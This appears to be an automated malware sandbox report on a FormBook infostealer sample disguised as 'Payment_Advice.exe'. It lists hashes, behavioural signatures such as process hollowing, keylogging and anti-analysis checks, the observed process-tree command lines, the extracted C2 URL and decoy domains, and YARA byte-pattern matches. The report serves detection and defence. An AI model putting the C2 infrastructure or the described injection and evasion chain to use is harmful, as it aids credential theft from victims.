Edit tour

Windows Analysis Report
Payment_Advice.exe

Overview

General Information

Sample Name:	Payment_Advice.exe
Analysis ID:	1320960
MD5:	15b3674e7fe8c5fe5284bc290a09ecb8
SHA1:	222c994082583413a9ea054eaf41583712702a53
SHA256:	eb53ed1886ae853bdeb51270964242b2b03373388e65acc012c8fe0485b81514
Tags:	exeFormbookPayment
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

System process connects to network (likely due to code injection or exploit)

Yara detected AntiVM autoit script

Snort IDS alert for network traffic

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected FormBook

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

Initial sample is a PE file and has a suspicious name

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Contains functionality to inject code into remote processes

Tries to detect virtualization through RDTSC time measurements

Uses ipconfig to lookup or modify the Windows network settings

Sample uses process hollowing technique

Writes to foreign memory regions

Modifies the prolog of user mode functions (user mode inline hooks)

Contains functionality to modify clipboard data

Queues an APC in another process (thread injection)

Modifies the context of a thread in another process (thread injection)

C2 URLs / IPs found in malware configuration

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Found API chain indicative of sandbox detection

Found decision node followed by non-executed suspicious APIs

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Contains functionality to launch a process as a different user

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Contains functionality to simulate keystroke presses

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

OS version to string mapping found (often used in BOTs)

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Checks if the current process is being debugged

Contains functionality to retrieve information about pressed keystrokes

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Contains functionality for read data from the clipboard

Uses 32bit PE files

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to shutdown / reboot the system

Contains functionality to query the security center for anti-virus and firewall products

Contains functionality to execute programs as a different user

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

AV process strings found (often used to terminate AV products)

Found inlined nop instructions (likely shell or obfuscated code)

File is packed with WinRar

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to launch a program with higher privileges

Potential key logger detected (key state polling based)

Contains functionality to simulate mouse events

Found WSH timer for Javascript or VBS script (likely evasive script)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Classification

Process Tree

System is w10x64

Payment_Advice.exe (PID: 1288 cmdline: C:\Users\user\Desktop\Payment_Advice.exe MD5: 15B3674E7FE8C5FE5284BC290A09ECB8)

wscript.exe (PID: 6152 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\pis-e.vbe" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 2564 cmdline: "C:\Windows\System32\cmd.exe" /c ewdbwwfpdh.bmp fjrpidauk.jpg MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ewdbwwfpdh.bmp (PID: 6052 cmdline: ewdbwwfpdh.bmp fjrpidauk.jpg MD5: 874798CB576E238642281B10189B031C)

RegSvcs.exe (PID: 4136 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe MD5: 9D352BC46709F0CB5EC974633A0C3C94)

RegSvcs.exe (PID: 6108 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe MD5: 9D352BC46709F0CB5EC974633A0C3C94)

explorer.exe (PID: 4084 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

cmd.exe (PID: 636 cmdline: C:\Windows\SysWOW64\cmd.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 4424 cmdline: /c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3352 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /renew MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 3232 cmdline: ipconfig /renew MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/ https://asec.ahnlab.com/en/32149/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.jimenezfarmersinsurance.shop/hesf/"], "decoy": ["rizublog-aromama-a.com", "87b52.club", "allportablepower.com", "brownkrosshui.com", "schuobu.fun", "qevtjrobrb.xyz", "throne-rooms.com", "hostcheker.net", "buzztsunamiloja.com", "kkudatogel27.com", "91fulizifen.com", "148secretbet.com", "outlookthailand.com", "zonaduniabet.net", "boursobankk.com", "tuneuphypnosis.com", "sahabatzulhelmi.com", "usbulletinnow.com", "durdurdarshi.com", "zz-agency.com", "jf66899j.com", "artplex.store", "beautyhubaustralia.site", "tygyro.com", "ludio.biz", "ruochen.xyz", "smartvoiceinsurance.com", "shayun.net", "poston.app", "othersidewear.com", "620tom.com", "100mileview.info", "wedding-nanny.com", "betadda777.online", "passiveprofitsathome.com", "tobivausm.party", "171301.com", "sua-tang-chieu-cao-hiup.top", "pancakesandwaflesbeverages.net", "sahilsachdevaapps.app", "home-workout-ideas.com", "allpaleoclimb24.com", "vkcardrivingschool.com", "claimfine.com", "im-newbie-journal.online", "ybring7.com", "svgco.life", "joeysdoor.com", "elixirsiroptonic.com", "1320detailingsupplies.com", "olimcreative.com", "trinityoutboards.com", "zerofeelettings.com", "pendletonofficial.shop", "carneywaste.com", "schistdisc.com", "neomusic.net", "blackberrygrove.com", "homespy.net", "gdbushuo.icu", "luxury111mb.com", "akumaterial.com", "drakenskloof.com", "px6k4a.shop"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000010.00000002.3843232274.0000000003390000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000010.00000002.3843232274.0000000003390000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000010.00000002.3843232274.0000000003390000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000010.00000002.3843232274.0000000003390000.00000004.00000800.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000010.00000002.3843232274.0000000003390000.00000004.00000800.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000003.1581336819.000000000106B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000003.1581336819.000000000106B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000003.1581336819.000000000106B000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x63c9:$a1: 3C 30 50 4F 53 54 74 09 40 0x1ccf8:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xab37:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x15a1f:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000006.00000003.1581336819.000000000106B000.00000004.00000020.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9a80:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9cea:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x1581d:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15309:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x1591f:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x15a97:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa702:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x14584:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb3fb:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ba5f:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca62:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000003.1581336819.000000000106B000.00000004.00000020.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18981:$sqlite3step: 68 34 1C 7B E1 0x18a94:$sqlite3step: 68 34 1C 7B E1 0x189b0:$sqlite3text: 68 38 2A 90 C5 0x18ad5:$sqlite3text: 68 38 2A 90 C5 0x189c3:$sqlite3blob: 68 53 D8 7F 8C 0x18aeb:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000003.1578728915.000000000106C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000003.1578728915.000000000106C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000003.1578728915.000000000106C000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x53c9:$a1: 3C 30 50 4F 53 54 74 09 40 0x1bcf8:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x9b37:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x14a1f:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000006.00000003.1578728915.000000000106C000.00000004.00000020.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8a80:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8cea:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x1481d:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14309:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x1491f:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14a97:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x9702:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x13584:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa3fb:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1aa5f:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ba62:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000003.1578728915.000000000106C000.00000004.00000020.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17981:$sqlite3step: 68 34 1C 7B E1 0x17a94:$sqlite3step: 68 34 1C 7B E1 0x179b0:$sqlite3text: 68 38 2A 90 C5 0x17ad5:$sqlite3text: 68 38 2A 90 C5 0x179c3:$sqlite3blob: 68 53 D8 7F 8C 0x17aeb:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000003.1578835292.00000000010C7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000003.1578835292.00000000010C7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000003.1578835292.00000000010C7000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6bd9:$a1: 3C 30 50 4F 53 54 74 09 40 0x1d508:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xb347:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x1622f:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000006.00000003.1578835292.00000000010C7000.00000004.00000020.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0xa290:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xa4fa:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x1602d:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15b19:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x1612f:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x162a7:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xaf12:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x14d94:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xbc0b:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1c26f:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1d272:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000003.1578835292.00000000010C7000.00000004.00000020.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x19191:$sqlite3step: 68 34 1C 7B E1 0x192a4:$sqlite3step: 68 34 1C 7B E1 0x191c0:$sqlite3text: 68 38 2A 90 C5 0x192e5:$sqlite3text: 68 38 2A 90 C5 0x191d3:$sqlite3blob: 68 53 D8 7F 8C 0x192fb:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000003.1578787008.000000000109A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000003.1578787008.000000000109A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000003.1578787008.000000000109A000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x57d1:$a1: 3C 30 50 4F 53 54 74 09 40 0x33bd9:$a1: 3C 30 50 4F 53 54 74 09 40 0x1c100:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x4a508:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x9f3f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x38347:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x14e27:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83 0x4322f:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000006.00000003.1578787008.000000000109A000.00000004.00000020.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8e88:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x90f2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x37290:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x374fa:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14c25:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x4302d:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14711:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x42b19:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14d27:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x4312f:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14e9f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x432a7:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x9b0a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x37f12:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1398c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x41d94:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa803:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x38c0b:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ae67:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x4926f:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1be6a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000003.1578787008.000000000109A000.00000004.00000020.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17d89:$sqlite3step: 68 34 1C 7B E1 0x17e9c:$sqlite3step: 68 34 1C 7B E1 0x46191:$sqlite3step: 68 34 1C 7B E1 0x462a4:$sqlite3step: 68 34 1C 7B E1 0x17db8:$sqlite3text: 68 38 2A 90 C5 0x17edd:$sqlite3text: 68 38 2A 90 C5 0x461c0:$sqlite3text: 68 38 2A 90 C5 0x462e5:$sqlite3text: 68 38 2A 90 C5 0x17dcb:$sqlite3blob: 68 53 D8 7F 8C 0x17ef3:$sqlite3blob: 68 53 D8 7F 8C 0x461d3:$sqlite3blob: 68 53 D8 7F 8C 0x462fb:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000003.1579705407.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000003.1579705407.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000003.1579705407.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x5f79:$a1: 3C 30 50 4F 53 54 74 09 40 0x34381:$a1: 3C 30 50 4F 53 54 74 09 40 0x1c8a8:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x4acb0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa6e7:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x38aef:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x155cf:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83 0x439d7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000006.00000003.1579705407.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9630:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x989a:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x37a38:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x37ca2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x153cd:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x437d5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14eb9:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x432c1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x154cf:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x438d7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x15647:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x43a4f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa2b2:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x386ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x14134:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x4253c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xafab:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x393b3:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b60f:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x49a17:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c612:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000003.1579705407.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18531:$sqlite3step: 68 34 1C 7B E1 0x18644:$sqlite3step: 68 34 1C 7B E1 0x46939:$sqlite3step: 68 34 1C 7B E1 0x46a4c:$sqlite3step: 68 34 1C 7B E1 0x18560:$sqlite3text: 68 38 2A 90 C5 0x18685:$sqlite3text: 68 38 2A 90 C5 0x46968:$sqlite3text: 68 38 2A 90 C5 0x46a8d:$sqlite3text: 68 38 2A 90 C5 0x18573:$sqlite3blob: 68 53 D8 7F 8C 0x1869b:$sqlite3blob: 68 53 D8 7F 8C 0x4697b:$sqlite3blob: 68 53 D8 7F 8C 0x46aa3:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000003.1580860266.000000000109A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000003.1580860266.000000000109A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000003.1580860266.000000000109A000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x57d1:$a1: 3C 30 50 4F 53 54 74 09 40 0x1c100:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x9f3f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x14e27:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000006.00000003.1580860266.000000000109A000.00000004.00000020.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8e88:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x90f2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14c25:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14711:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14d27:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14e9f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x9b0a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1398c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa803:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ae67:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1be6a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000003.1580860266.000000000109A000.00000004.00000020.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17d89:$sqlite3step: 68 34 1C 7B E1 0x17e9c:$sqlite3step: 68 34 1C 7B E1 0x17db8:$sqlite3text: 68 38 2A 90 C5 0x17edd:$sqlite3text: 68 38 2A 90 C5 0x17dcb:$sqlite3blob: 68 53 D8 7F 8C 0x17ef3:$sqlite3blob: 68 53 D8 7F 8C
00000010.00000002.3842416015.0000000002B50000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000010.00000002.3842416015.0000000002B50000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000010.00000002.3842416015.0000000002B50000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000010.00000002.3842416015.0000000002B50000.00000040.80000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000010.00000002.3842416015.0000000002B50000.00000040.80000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000010.00000002.3842825880.0000000002F50000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000010.00000002.3842825880.0000000002F50000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
